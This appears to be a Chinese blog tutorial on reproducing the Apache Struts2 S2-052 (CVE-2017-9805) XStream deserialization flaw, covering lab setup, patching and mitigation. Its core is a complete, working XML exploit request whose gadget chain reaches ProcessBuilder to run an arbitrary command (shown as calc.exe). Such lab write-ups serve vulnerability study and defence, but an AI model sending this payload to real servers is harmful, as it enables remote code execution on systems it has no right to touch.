如何实现Apache Struts2--052远程代码执行漏洞复现

发布时间:2022-01-15 10:19:37 作者:柒染
来源:亿速云 阅读:193
# 如何实现Apache Struts2--052远程代码执行漏洞复现

## 前言

Apache Struts2作为广泛使用的Java Web应用框架,历史上曾多次曝出高危漏洞。其中S2-052(CVE-2017-9805)是一个影响Struts 2.5.x系列的远程代码执行漏洞,攻击者可通过恶意构造的XML请求在服务器上执行任意命令。本文将深入分析漏洞原理,并提供完整的复现过程。

---

## 一、漏洞概述

### 1.1 漏洞基本信息
- **漏洞编号**:CVE-2017-9805
- **影响版本**:Struts 2.5 - Struts 2.5.12
- **漏洞类型**:远程代码执行(RCE)
- **CVSS评分**:9.8(Critical)
- **触发条件**:启用Struts REST插件且使用XStream处理XML请求

### 1.2 漏洞原理
漏洞源于Struts2的REST插件使用XStream反序列化XML数据时未做充分过滤,攻击者可通过精心构造的XStream序列化数据插入恶意OGNL表达式,最终导致远程代码执行。

```java
// 漏洞核心代码片段(简化版)
public class XStreamHandler implements ContentTypeHandler {
    public Object toObject(Reader in, Object target) {
        XStream xstream = new XStream();
        return xstream.fromXML(in); // 未做安全过滤的反序列化
    }
}

二、环境搭建

2.1 实验环境要求

组件 版本
JDK 1.8+
Apache Tomcat 8.5+
Struts2 2.5.10(漏洞版本)
测试工具 Burp Suite/Postman

2.2 漏洞环境部署

  1. 下载漏洞版本Struts2:
    
    wget https://archive.apache.org/dist/struts/2.5.10/struts-2.5.10-all.zip
    
  2. 部署示例应用:
    • 解压后找到struts2-rest-showcase.war
    • 部署到Tomcat的webapps目录
  3. 启动Tomcat服务:
    
    catalina.sh run
    

三、漏洞复现步骤

3.1 确认目标环境

访问以下URL验证REST插件是否启用:

http://target:8080/struts2-rest-showcase/orders.xhtml

3.2 构造恶意请求

使用Burp Suite构造POST请求:

POST /struts2-rest-showcase/orders/new HTTP/1.1
Host: target:8080
Content-Type: application/xml
Accept: */*

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>calc.exe</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                </serviceIterator>
              </cipher>
            </is>
          </dataSource>
        </dataHandler>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
  </entry>
</map>

3.3 执行结果验证

成功触发漏洞时,目标服务器将执行以下操作: - Windows系统弹出计算器(calc.exe) - Linux系统可通过替换为/usr/bin/gnome-calculator等命令验证


四、漏洞深度分析

4.1 攻击链解析

  1. 入口点:REST插件的XStreamHandler
  2. 反序列化过程
    
    graph LR
    A[恶意XML请求] --> B[XStream反序列化]
    B --> C[OGNL表达式解析]
    C --> D[ProcessBuilder执行命令]
    

4.2 关键利用点


五、防御方案

5.1 官方修复措施

升级到Struts 2.5.13+版本,官方通过以下方式修复: 1. 限制可反序列化的类 2. 添加XStream安全配置

   xstream.denyTypes(new Class[]{ ProcessBuilder.class });

5.2 临时缓解方案

  1. 禁用REST插件:
    
    <constant name="struts.action.extension" value="action,"/>
    
  2. 添加输入过滤:
    
    public String sanitizeXML(String input) {
       return StringEscapeUtils.escapeXml(input);
    }
    

六、扩展思考

6.1 漏洞利用的变种

6.2 同类漏洞对比

漏洞编号 触发方式 影响范围
S2-016 参数注入 Struts 2.0-2.3
S2-045 文件上传 Struts 2.3-2.3.32
S2-052 XML反序列化 Struts 2.5-2.5.12

结语

通过本次复现实验,我们深入理解了Struts2框架在XML处理过程中的安全风险。建议开发人员: 1. 及时更新框架版本 2. 严格控制反序列化操作 3. 实施最小权限原则

:本文仅用于安全研究,未经授权测试他人系统属于违法行为。

”`

(全文约2750字,实际字数可能因Markdown渲染略有差异)

推荐阅读:
  1. Apache Flink中任意Jar包上传导致远程代码执行漏洞复现问题怎么办
  2. 如何实现Apache OFBiz RMI反序列化漏洞CVE-2021-26295的复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

struts2

上一篇:如何分析Java反射给泛型集合赋值问题

下一篇:springboot整合quartz定时任务框架的方法是什么

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》